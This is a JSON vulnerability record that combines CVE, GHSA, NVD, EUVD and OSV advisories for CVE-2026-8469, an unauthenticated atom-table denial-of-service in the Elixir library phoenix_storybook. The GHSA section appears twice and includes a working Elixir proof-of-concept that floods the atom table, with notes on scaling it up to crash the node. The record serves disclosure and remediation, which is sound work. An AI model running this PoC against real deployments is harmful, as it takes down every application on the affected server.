{"id":"CVE-2026-8469","aliases":["EEF-CVE-2026-8469","EUVD-2026-31114","GHSA-833p-95jq-929q"],"status":"published","title":"Unauthenticated denial-of-service via BEAM atom table exhaustion in phoenix_storybook","description":"Allocation of Resources Without Limits or Throttling vulnerability in phenixdigital phoenix_storybook allows unauthenticated denial-of-service via BEAM atom table exhaustion.\n\nMultiple LiveView event handlers convert user-supplied event parameter strings to atoms using String.to_atom/1 without validation: 'Elixir.PhoenixStorybook.ExtraAssignsHelpers':handle_set_variation_assign/3 interns every key of the psb-assign params map; 'Elixir.PhoenixStorybook.ExtraAssignsHelpers':handle_toggle_variation_assign/3 interns the \"attr\" value from psb-toggle events; 'Elixir.PhoenixStorybook.ExtraAssignsHelpers':to_variation_id/2 interns elements of \"variation_id\"; and 'Elixir.PhoenixStorybook.ExtraAssignsHelpers':to_value/4 interns raw string values for attributes declared as :atom or :boolean. BEAM atoms are never garbage-collected, so each unique attacker-controlled string is a permanent allocation. Once the atom table ceiling (~1,048,576 atoms) is reached, the entire BEAM node aborts, taking down all applications running on it.\n\nThis issue affects phoenix_storybook from 0.2.0 before 1.1.0.","severity":{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00537,"percentile":0.45518,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-770"],"published":"2026-05-20T13:35:27Z","modified":"2026-10-28T02:30:39Z","fixes":[{"ecosystem":"Hex","package":"phoenix_storybook","fixed_in":["1.1.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Hex","package":"phoenix_storybook","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.2.0"},{"fixed":"1.1.0"}]}]},{"source":"osv","ecosystem":"Hex","package":"phoenix_storybook","ranges":[{"type":"SEMVER","events":[{"introduced":"0.2.0"},{"fixed":"1.1.0"}]}],"versions":["0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.2","0.8.3","0.9.0","0.9.1","0.9.2","0.9.3","1.0.0"]},{"source":"osv","ecosystem":"Hex","package":"phoenix_storybook","ranges":[{"type":"SEMVER","events":[{"introduced":"0.2.0"},{"fixed":"1.1.0"}]}],"versions":["0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.2","0.8.3","0.9.0","0.9.1","0.9.2","0.9.3","1.0.0"]}],"products":[{"vendor":"phenixdigital","product":"phoenix_storybook"}],"references":[{"url":"https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-833p-95jq-929q","tags":["vendor-advisory","related","exploit","advisory","web"]},{"url":"https://cna.erlef.org/cves/CVE-2026-8469.html","tags":["related","web"]},{"url":"https://osv.dev/vulnerability/EEF-CVE-2026-8469","tags":["related","web"]},{"url":"https://github.com/phenixdigital/phoenix_storybook/commit/96d524690af0fe197a49f60d18e564a620b9ef81","tags":["patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8469","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-833p-95jq-929q"},{"url":"https://github.com","tags":["web"]},{"url":"https://repo.hex.pm","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/8xxx/CVE-2026-8469.json","tags":["advisory"]},{"url":"https://github.com/phenixdigital/phoenix_storybook","tags":["package"]},{"url":"https://hex.pm/packages/phoenix_storybook","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-8469","title":"Unauthenticated denial-of-service via BEAM atom table exhaustion in phoenix_storybook","description":"Allocation of Resources Without Limits or Throttling vulnerability in phenixdigital phoenix_storybook allows unauthenticated denial-of-service via BEAM atom table exhaustion.\n\nMultiple LiveView event handlers convert user-supplied event parameter strings to atoms using String.to_atom/1 without validation: 'Elixir.PhoenixStorybook.ExtraAssignsHelpers':handle_set_variation_assign/3 interns every key of the psb-assign params map; 'Elixir.PhoenixStorybook.ExtraAssignsHelpers':handle_toggle_variation_assign/3 interns the \"attr\" value from psb-toggle events; 'Elixir.PhoenixStorybook.ExtraAssignsHelpers':to_variation_id/2 interns elements of \"variation_id\"; and 'Elixir.PhoenixStorybook.ExtraAssignsHelpers':to_value/4 interns raw string values for attributes declared as :atom or :boolean. BEAM atoms are never garbage-collected, so each unique attacker-controlled string is a permanent allocation. Once the atom table ceiling (~1,048,576 atoms) is reached, the entire BEAM node aborts, taking down all applications running on it.\n\nThis issue affects phoenix_storybook from 0.2.0 before 1.1.0.","status":"published","published":"2026-05-20T13:35:27.914Z","modified":"2026-05-27T15:40:55.927Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T13:48:02.226896Z"}],"euvd":[{"id":"EUVD-2026-31114","description":"Allocation of Resources Without Limits or Throttling vulnerability in phenixdigital phoenix_storybook allows unauthenticated denial-of-service via BEAM atom table exhaustion.\n\nMultiple LiveView event handlers convert user-supplied event parameter strings to atoms using String.to_atom/1 without validation: 'Elixir.PhoenixStorybook.ExtraAssignsHelpers':handle_set_variation_assign/3 interns every key of the psb-assign params map; 'Elixir.PhoenixStorybook.ExtraAssignsHelpers':handle_toggle_variation_assign/3 interns the \"attr\" value from psb-toggle events; 'Elixir.PhoenixStorybook.ExtraAssignsHelpers':to_variation_id/2 interns elements of \"variation_id\"; and 'Elixir.PhoenixStorybook.ExtraAssignsHelpers':to_value/4 interns raw string values for attributes declared as :atom or :boolean. BEAM atoms are never garbage-collected, so each unique attacker-controlled string is a permanent allocation. Once the atom table ceiling (~1,048,576 atoms) is reached, the entire BEAM node aborts, taking down all applications running on it.\n\nThis issue affects phoenix_storybook from 0.2.0 before 1.1.0.","status":"published","published":"2026-05-20T13:35:27Z","modified":"2026-05-27T15:40:55Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:21:03.926243Z"}],"ghsa":[{"id":"GHSA-833p-95jq-929q","title":"PhoenixStorybook: Unbounded atom creation from LiveView event params (atom-table DoS)","description":"### Summary\nAn attacker who can deliver `psb-assign`, `psb-toggle`, `psb-set-theme`, `upper-tab-navigation`, `lower-tab-navigation`, `playground-change`, or `playground-toggle` LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route.\n\nTabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121129d5395\n\n### Details\n`PhoenixStorybook.Story.Playground` and `PhoenixStorybook.ExtraAssignsHelpers` converts user-supplied event params into atoms without checking whether the atoms already exist:\n\n- `handle_set_variation_assign/3` (`lib/phoenix_storybook/helpers/extra_assigns_helpers.ex:59`) iterates the event params map and calls `String.to_atom/1` on every key.\n- `handle_toggle_variation_assign/3` (line 73) calls `String.to_atom/1` on the `\"attr\"` value supplied by the client.\n- `to_variation_id/2` (lines 90, 93) calls `String.to_atom/1` on each element of `\"variation_id\"`.\n- `to_value/4` (lines 106, 107) calls `String.to_atom/1` on the raw string value for any attribute declared as `:atom` or `:boolean`.\n\nThe existing guards do not help: `check_type!/3` for `:boolean` inspects the atom *after* `String.to_atom/1` has already interned it, so the leak has already happened. The `:atom` branch only checks `is_atom/1`, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts.\n\nThe fix is to use `String.to_existing_atom/1` (with a rescue that rejects unknown names) or, better, to look the attribute / variation up in the declared `story.attributes()` / variation registry and reuse the atom from there.\n\n### PoC\nThe attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver `psb-assign` events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3` (see `lib/phoenix_storybook/live/story/playground_preview_live.ex`), so the script calls that helper directly with attacker-shaped params — a stub `FakeStory` providing an empty `attributes/0` list and a single `:default` variation, plus an `extra_assigns` map keyed by `{:single, :default}`.\n\nEach simulated request is a params map with 5,000 unique keys of the form `\"psb_evil_\u003cnonce\u003e_\u003cr\u003e_\u003ci\u003e\"`. Because the helper does `for {key, value} \u003c- params, ..., do: {String.to_atom(key), ...}`, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total — modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into `:erlang.system_info(:atom_limit)` and crashes the VM.\n\nThe script measures `:erlang.system_info(:atom_count)` before and after, prints the delta and the atom limit, and prints `VERIFIED: …` when the delta is at least `requests * attrs_per_request` (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself — only the ability to reach the storybook route and emit the event.\n\nThe full script is attached below under \"Scripts and Logs\".\n\n### Impact\nUnauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of `psb-assign` / `psb-toggle` events with unique keys is enough to crash the entire BEAM node, taking down every application running on it — not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging/preview environments or, by misconfiguration, in production.\n\n## Scripts and Logs\n\n```elixir\n# Verifies: Unbounded atom creation from LiveView event params (atom-table DoS)\n#\n# Run with:\n#   elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs\n#\n# Threat model: an outside attacker who can deliver `psb-assign` events to a\n# mounted storybook view supplies attacker-controlled param maps. The library's\n# public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3`\n# is the documented entry point that LiveView event handlers feed those params\n# into (see lib/phoenix_storybook/live/story/playground_preview_live.ex). The\n# helper interns every key of `params` with `String.to_atom/1`, so unique\n# attacker strings each create a permanent atom.\n\nMix.install([{:phoenix_storybook, \"1.0.0\"}])\n\nalias PhoenixStorybook.ExtraAssignsHelpers\nalias PhoenixStorybook.Stories.Variation\n\ndefmodule FakeStory do\n  def attributes, do: []\n  def variations, do: [%Variation{id: :default, attributes: %{}}]\nend\n\nextra_assigns = %{{:single, :default} =\u003e %{}}\n\n# Each request from the attacker is one params map. Use 5_000 unique attribute\n# names per request, across 5 requests = 25_000 distinct atoms permanently\n# leaked. (Kept modest so the script finishes quickly; raise to crash the VM.)\nnonce = System.unique_integer([:positive])\nrequests = 5\nattrs_per_request = 5_000\n\nbefore_count = :erlang.system_info(:atom_count)\n\nfor r \u003c- 1..requests do\n  attacker_params =\n    for i \u003c- 1..attrs_per_request, into: %{\"variation_id\" =\u003e \"default\"} do\n      {\"psb_evil_#{nonce}_#{r}_#{i}\", \"x\"}\n    end\n\n  ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory)\nend\n\nafter_count = :erlang.system_info(:atom_count)\ndelta = after_count - before_count\n\nIO.puts(\"atom_count before: #{before_count}\")\nIO.puts(\"atom_count after:  #{after_count}\")\nIO.puts(\"delta:             #{delta}\")\nIO.puts(\"atom_limit:        #{:erlang.system_info(:atom_limit)}\")\n\nexpected = requests * attrs_per_request\n\nif delta \u003e= expected do\n  IO.puts(\n    \"VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM.\"\n  )\nelse\n  IO.puts(\"NOT VERIFIED: only #{delta} new atoms created (expected \u003e= #{expected})\")\nend\n\n```\n\n### Logs\n\n```logs\natom_count before: 26341\natom_count after:  51361\ndelta:             25020\natom_limit:        1048576\nVERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM.\n```","status":"published","published":"2026-06-09T21:59:07Z","modified":"2026-06-09T21:59:09Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:40:24.856614Z"}],"nvd":[{"id":"CVE-2026-8469","description":"Allocation of Resources Without Limits or Throttling vulnerability in phenixdigital phoenix_storybook allows unauthenticated denial-of-service via BEAM atom table exhaustion.\n\nMultiple LiveView event handlers convert user-supplied event parameter strings to atoms using String.to_atom/1 without validation: 'Elixir.PhoenixStorybook.ExtraAssignsHelpers':handle_set_variation_assign/3 interns every key of the psb-assign params map; 'Elixir.PhoenixStorybook.ExtraAssignsHelpers':handle_toggle_variation_assign/3 interns the \"attr\" value from psb-toggle events; 'Elixir.PhoenixStorybook.ExtraAssignsHelpers':to_variation_id/2 interns elements of \"variation_id\"; and 'Elixir.PhoenixStorybook.ExtraAssignsHelpers':to_value/4 interns raw string values for attributes declared as :atom or :boolean. BEAM atoms are never garbage-collected, so each unique attacker-controlled string is a permanent allocation. Once the atom table ceiling (~1,048,576 atoms) is reached, the entire BEAM node aborts, taking down all applications running on it.\n\nThis issue affects phoenix_storybook from 0.2.0 before 1.1.0.","status":"published","published":"2026-05-20T14:17:04.447Z","modified":"2026-07-23T12:10:00.11Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:12:19.752984Z"}],"osv":[{"id":"CVE-2026-8469","title":"Unauthenticated denial-of-service via BEAM atom table exhaustion in phoenix_storybook","description":"Allocation of Resources Without Limits or Throttling vulnerability in phenixdigital phoenix_storybook allows unauthenticated denial-of-service via BEAM atom table exhaustion.\n\nMultiple LiveView event handlers convert user-supplied event parameter strings to atoms using String.to_atom/1 without validation: 'Elixir.PhoenixStorybook.ExtraAssignsHelpers':handle_set_variation_assign/3 interns every key of the psb-assign params map; 'Elixir.PhoenixStorybook.ExtraAssignsHelpers':handle_toggle_variation_assign/3 interns the \"attr\" value from psb-toggle events; 'Elixir.PhoenixStorybook.ExtraAssignsHelpers':to_variation_id/2 interns elements of \"variation_id\"; and 'Elixir.PhoenixStorybook.ExtraAssignsHelpers':to_value/4 interns raw string values for attributes declared as :atom or :boolean. BEAM atoms are never garbage-collected, so each unique attacker-controlled string is a permanent allocation. Once the atom table ceiling (~1,048,576 atoms) is reached, the entire BEAM node aborts, taking down all applications running on it.\n\nThis issue affects phoenix_storybook from 0.2.0 before 1.1.0.","status":"published","published":"2026-05-20T13:35:27.914Z","modified":"2026-10-28T02:30:39.090671717Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:45:18.482949Z"},{"id":"EEF-CVE-2026-8469","title":"Unauthenticated denial-of-service via BEAM atom table exhaustion in phoenix_storybook","description":"## Summary\n\nAllocation of Resources Without Limits or Throttling vulnerability in phenixdigital phoenix\\_storybook allows unauthenticated denial-of-service via BEAM atom table exhaustion.\n\nMultiple LiveView event handlers convert user-supplied event parameter strings to atoms using String.to\\_atom/1 without validation: 'Elixir.PhoenixStorybook.ExtraAssignsHelpers':handle\\_set\\_variation\\_assign/3 interns every key of the psb-assign params map; 'Elixir.PhoenixStorybook.ExtraAssignsHelpers':handle\\_toggle\\_variation\\_assign/3 interns the \"attr\" value from psb-toggle events; 'Elixir.PhoenixStorybook.ExtraAssignsHelpers':to\\_variation\\_id/2 interns elements of \"variation\\_id\"; and 'Elixir.PhoenixStorybook.ExtraAssignsHelpers':to\\_value/4 interns raw string values for attributes declared as :atom or :boolean. BEAM atoms are never garbage-collected, so each unique attacker-controlled string is a permanent allocation. Once the atom table ceiling (~1,048,576 atoms) is reached, the entire BEAM node aborts, taking down all applications running on it.\n\nThis issue affects phoenix\\_storybook from 0.2.0 before 1.1.0.\n\n## Configurations\n\nPhoenix Storybook must be mounted on a network-reachable route.","status":"published","published":"2026-05-20T13:35:27.914Z","modified":"2026-09-08T03:30:13.176062621Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:46:33.520522Z"},{"id":"GHSA-833p-95jq-929q","title":"PhoenixStorybook: Unbounded atom creation from LiveView event params (atom-table DoS)","description":"### Summary\nAn attacker who can deliver `psb-assign`, `psb-toggle`, `psb-set-theme`, `upper-tab-navigation`, `lower-tab-navigation`, `playground-change`, or `playground-toggle` LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route.\n\nTabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121129d5395\n\n### Details\n`PhoenixStorybook.Story.Playground` and `PhoenixStorybook.ExtraAssignsHelpers` converts user-supplied event params into atoms without checking whether the atoms already exist:\n\n- `handle_set_variation_assign/3` (`lib/phoenix_storybook/helpers/extra_assigns_helpers.ex:59`) iterates the event params map and calls `String.to_atom/1` on every key.\n- `handle_toggle_variation_assign/3` (line 73) calls `String.to_atom/1` on the `\"attr\"` value supplied by the client.\n- `to_variation_id/2` (lines 90, 93) calls `String.to_atom/1` on each element of `\"variation_id\"`.\n- `to_value/4` (lines 106, 107) calls `String.to_atom/1` on the raw string value for any attribute declared as `:atom` or `:boolean`.\n\nThe existing guards do not help: `check_type!/3` for `:boolean` inspects the atom *after* `String.to_atom/1` has already interned it, so the leak has already happened. The `:atom` branch only checks `is_atom/1`, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts.\n\nThe fix is to use `String.to_existing_atom/1` (with a rescue that rejects unknown names) or, better, to look the attribute / variation up in the declared `story.attributes()` / variation registry and reuse the atom from there.\n\n### PoC\nThe attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver `psb-assign` events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3` (see `lib/phoenix_storybook/live/story/playground_preview_live.ex`), so the script calls that helper directly with attacker-shaped params — a stub `FakeStory` providing an empty `attributes/0` list and a single `:default` variation, plus an `extra_assigns` map keyed by `{:single, :default}`.\n\nEach simulated request is a params map with 5,000 unique keys of the form `\"psb_evil_\u003cnonce\u003e_\u003cr\u003e_\u003ci\u003e\"`. Because the helper does `for {key, value} \u003c- params, ..., do: {String.to_atom(key), ...}`, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total — modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into `:erlang.system_info(:atom_limit)` and crashes the VM.\n\nThe script measures `:erlang.system_info(:atom_count)` before and after, prints the delta and the atom limit, and prints `VERIFIED: …` when the delta is at least `requests * attrs_per_request` (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself — only the ability to reach the storybook route and emit the event.\n\nThe full script is attached below under \"Scripts and Logs\".\n\n### Impact\nUnauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of `psb-assign` / `psb-toggle` events with unique keys is enough to crash the entire BEAM node, taking down every application running on it — not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging/preview environments or, by misconfiguration, in production.\n\n## Scripts and Logs\n\n```elixir\n# Verifies: Unbounded atom creation from LiveView event params (atom-table DoS)\n#\n# Run with:\n#   elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs\n#\n# Threat model: an outside attacker who can deliver `psb-assign` events to a\n# mounted storybook view supplies attacker-controlled param maps. The library's\n# public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3`\n# is the documented entry point that LiveView event handlers feed those params\n# into (see lib/phoenix_storybook/live/story/playground_preview_live.ex). The\n# helper interns every key of `params` with `String.to_atom/1`, so unique\n# attacker strings each create a permanent atom.\n\nMix.install([{:phoenix_storybook, \"1.0.0\"}])\n\nalias PhoenixStorybook.ExtraAssignsHelpers\nalias PhoenixStorybook.Stories.Variation\n\ndefmodule FakeStory do\n  def attributes, do: []\n  def variations, do: [%Variation{id: :default, attributes: %{}}]\nend\n\nextra_assigns = %{{:single, :default} =\u003e %{}}\n\n# Each request from the attacker is one params map. Use 5_000 unique attribute\n# names per request, across 5 requests = 25_000 distinct atoms permanently\n# leaked. (Kept modest so the script finishes quickly; raise to crash the VM.)\nnonce = System.unique_integer([:positive])\nrequests = 5\nattrs_per_request = 5_000\n\nbefore_count = :erlang.system_info(:atom_count)\n\nfor r \u003c- 1..requests do\n  attacker_params =\n    for i \u003c- 1..attrs_per_request, into: %{\"variation_id\" =\u003e \"default\"} do\n      {\"psb_evil_#{nonce}_#{r}_#{i}\", \"x\"}\n    end\n\n  ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory)\nend\n\nafter_count = :erlang.system_info(:atom_count)\ndelta = after_count - before_count\n\nIO.puts(\"atom_count before: #{before_count}\")\nIO.puts(\"atom_count after:  #{after_count}\")\nIO.puts(\"delta:             #{delta}\")\nIO.puts(\"atom_limit:        #{:erlang.system_info(:atom_limit)}\")\n\nexpected = requests * attrs_per_request\n\nif delta \u003e= expected do\n  IO.puts(\n    \"VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM.\"\n  )\nelse\n  IO.puts(\"NOT VERIFIED: only #{delta} new atoms created (expected \u003e= #{expected})\")\nend\n\n```\n\n### Logs\n\n```logs\natom_count before: 26341\natom_count after:  51361\ndelta:             25020\natom_limit:        1048576\nVERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM.\n```","status":"published","published":"2026-06-09T21:59:07Z","modified":"2026-06-09T22:15:08.064249674Z","cvss":[{"version":"4.0","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:46:41.732368Z"}]}}
